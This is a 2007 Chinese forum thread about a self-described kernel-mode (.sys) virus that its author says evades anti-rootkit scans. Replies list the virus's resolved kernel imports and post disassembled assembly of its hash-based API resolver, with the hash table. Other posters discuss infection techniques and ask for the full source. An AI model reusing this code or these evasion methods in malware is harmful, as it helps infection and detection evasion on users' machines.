|
阅读:9468回复:44
一个简单的sys病毒!
123321
|
|
最新喜欢: |
|
沙发#
发布于:2007-10-26 11:26
哦,对了,貌似俺这个东东也能绕过现代Anti-Rookit工具的内核模块扫描。
|
|
|
板凳#
发布于:2007-10-26 11:37
顶,向大牛学习,
|
|
|
|
地板#
发布于:2007-10-26 11:45
学习
|
|
|
地下室#
发布于:2007-10-26 11:45
我也晕了 |
|
|
|
5楼#
发布于:2007-10-26 11:47
|
|
|
|
6楼#
发布于:2007-10-26 12:06
C写的?还是纯汇编~~
|
|
|
|
7楼#
发布于:2007-10-26 12:11
C的也可以实现,而且可以做的很xxx,很xxx~~至少目前我手头就有一个~很取巧的感染技巧导致了C也可以处理复杂的重定位...
|
|
|
|
8楼#
发布于:2007-10-26 14:24
...加入发晕行列 |
|
|
|
9楼#
发布于:2007-10-26 14:58
有四个文件,要加载哪个?
是不是要用kmdmanager之类的加载,还是自启动? |
|
|
|
10楼#
发布于:2007-10-26 15:01
引用第6楼killvxk于2007-10-26 12:06发表的 : 汇编,汇编写病毒要简单些。 |
|
|
11楼#
发布于:2007-10-26 15:14
用c写的话,asm写个loader
convert一下reloc就行了 不过这种东西直接写offset-indepent code就行。 |
|
|
12楼#
发布于:2007-10-26 15:14
讲讲原理
|
|
|
|
13楼#
发布于:2007-10-26 15:42
00A58911 0089AE79 ntoskrnl.DbgPrint
00A58915 008DB179 ntoskrnl.DbgPrintEx 00A58919 008DB088 ntoskrnl.DbgPrintReturnControlC 00A5891D 008AD45A ntoskrnl.ExAllocatePool 00A58921 008E93D4 ntoskrnl.ExFreePool 00A58925 00886C35 ntoskrnl.IoAllocateMdl 00A58929 008CB575 ntoskrnl.IoCompleteRequest 00A5892D 00937AA2 ntoskrnl.IoCreateDevice 00A58931 00916362 ntoskrnl.IoCreateFile 00A58935 008A5670 ntoskrnl.IoDeleteDevice 00A58939 008F8D60 ntoskrnl.IoDriverObjectType 00A5893D 00886CEA ntoskrnl.IoFreeMdl 00A58941 008D034B ntoskrnl.KeBugCheck 00A58945 00880D68 ntoskrnl.KeInitializeDpc 00A58949 0087B3F7 ntoskrnl.KeInitializeSpinLock 00A5894D 00885583 ntoskrnl.KeInitializeTimer 00A58951 008FA500 ntoskrnl.KeServiceDescriptorTable 00A58955 0087B14F ntoskrnl.KeSetTimer 00A58959 00964BEB ntoskrnl.MmGetSystemRoutineAddress 00A5895D 0088FE51 ntoskrnl.MmProbeAndLockPages 00A58961 00890105 ntoskrnl.MmUnlockPages 00A58965 00916538 ntoskrnl.NtOpenFile 00A58969 008D9371 ntoskrnl.ObDereferenceObject 00A5896D 00904581 ntoskrnl.ObReferenceObjectByHandle 00A58971 0092ADB3 ntoskrnl.ProbeForRead 00A58975 009068F1 ntoskrnl.ProbeForWrite 00A58979 009CC6B0 ntoskrnl.PsRemoveCreateThreadNotifyRoutine 00A5897D 009CC56F ntoskrnl.PsSetCreateProcessNotifyRoutine 00A58981 009CC647 ntoskrnl.PsSetCreateThreadNotifyRoutine 00A58985 0087C476 ntoskrnl.ZwClose 00A58989 0087C66A ntoskrnl.ZwCreateSection 00A5898D 0087CAF2 ntoskrnl.ZwMapViewOfSection 00A58991 0087CB56 ntoskrnl.ZwOpenDirectoryObject 00A58995 0087CB92 ntoskrnl.ZwOpenFile 00A58999 0087CE4E ntoskrnl.ZwQueryInformationFile 00A5899D 0087D75E ntoskrnl.ZwUnmapViewOfSection 00A589A1 008830AD ntoskrnl.wcscmp 贴一个api hash |
|
|
14楼#
发布于:2007-10-26 15:53
你贴少了点
继续 |
|
|
15楼#
发布于:2007-10-26 15:56
没有ring0 debugger,你自己贴吧
.386
.model flat,stdcall
option casemap:none
.code
start:
int 3
call get_hash
dd 0DCC02CB0h, 28B5DDA5h, 7B5A95AAh, 7C23118Eh
dd 6AF7534Fh, 0CD52490Fh, 189A4DD4h, 0EF27BACBh
dd 0D5434B7Bh, 18E236A1h, 74DFE931h, 1FBE8FCh
dd 0D5675DCh, 0E23413DBh, 4318F1A4h, 9B007656h
dd 0A5263734h, 5E0780D3h, 0CC8DE8DFh, 18076F64h
dd 0C311D3AFh, 0A8EA7C2Eh, 5C7407D9h, 0D157ED26h
dd 2828DDF4h, 81BFB912h, 0D4C72283h, 0E3DFF09Ch
dd 4845FBF9h, 0D2C7EC89h, 5AA24267h, 0DE11463h
dd 225171Eh, 0BE8D0D49h, 57203DDCh, 6A2E9930h
dd 0D1F6F667h, 0, 83F19CBBh, 9F8E9A2Eh
dd 0A76E66AEh, 9D46D148h, 0, 12BCEF20h
get_hash:
pop esi
mov edi, esi
mov ebx, 'BASE'
call get_proc_by_hash
int 3
; =============== S U B R O U T I N E =======================================
get_proc_by_hash proc near ; CODE XREF: .reloc:0001070Ap
; .reloc:00010741p ...
mov eax, ebx
; stosd
mov edx, [ebx+3Ch]
add edx, ebx
mov edx, [edx+78h]
add edx, ebx
push ebp
xchg ebp, esi
mov esi, [edx+20h]
add esi, ebx
mov ecx, [edx+18h]
__next: ; CODE XREF: get_proc_by_hash+26j
; get_proc_by_hash+50j
jecxz short __exit
dec ecx
lodsd
add eax, ebx
call calc_hash
cmp eax, [ebp+0]
jnz short __next
push ecx
mov eax, [edx+18h]
sub eax, ecx
dec eax
mov ecx, [edx+24h]
add ecx, ebx
movzx eax, word ptr [ecx+eax*2]
mov ecx, [edx+1Ch]
add ecx, ebx
lea eax, [ecx+eax*4]
push eax
mov eax, [eax]
add eax, ebx
stosd
pop eax
; stosd
pop ecx
add ebp, 4
cmp dword ptr [ebp+0], 0
jnz short __next
xchg esi, ebp
lodsd
__exit: ; CODE XREF: get_proc_by_hash:__nextj
pop ebp
retn
get_proc_by_hash endp
calc_hash proc near ; CODE XREF: get_proc_by_hash+1Ep
push edi
xor edi, edi
loc_10BBB: ; CODE XREF: get_proc_x+5j
push ecx
push ebx
or ebx, 0FFFFFFFFh
loc_10BC0: ; CODE XREF: calc_hash+20j
; calc_hash+27j
xor bl, [eax]
push 8
pop ecx
loc_10BC5: ; CODE XREF: calc_hash:loc_10BCFj
add ebx, ebx
jnb short loc_10BCF
xor ebx, 4C11DB7h
loc_10BCF: ; CODE XREF: calc_hash+Fj
loop loc_10BC5
test edi, edi
jz short loc_10BDC
inc eax
cmp edi, eax
jnz short loc_10BC0
jmp short loc_10BE1
; ---------------------------------------------------------------------------
loc_10BDC: ; CODE XREF: calc_hash+1Bj
sub cl, [eax]
inc eax
jb short loc_10BC0
loc_10BE1: ; CODE XREF: calc_hash+22j
xchg eax, ebx
pop ebx
pop ecx
pop edi
locret_10BE5: ; CODE XREF: get_proc_x+3j
retn
calc_hash endp
end start |
|
|
16楼#
发布于:2007-10-26 16:27
dd 83F19CBBh, 9F8E9A2Eh
dd 0A76E66AEh, 9D46D148h, 0 add ebp, 4 cmp dword ptr [ebp+0], 0 jnz short __next xchg esi, ebp lodsd __exit: ; CODE XREF: get_proc_by_hash:__nextj pop ebp retn |
|
|
17楼#
发布于:2007-10-26 20:13
有点意思,看看~
|
|
|
18楼#
发布于:2007-10-27 09:31
牛,要是再放点血就好了。。强烈要求源码,哈哈。。ring3的病毒感染方式在ring0中还需要处理好多细节吧。。。ring3的技术越来越多的整倒ring0,趋势?和谐?哈哈。。。。
|
|
|
19楼#
发布于:2007-10-27 09:36
顶起,
|
|
上一页
下一页
...加入发晕行列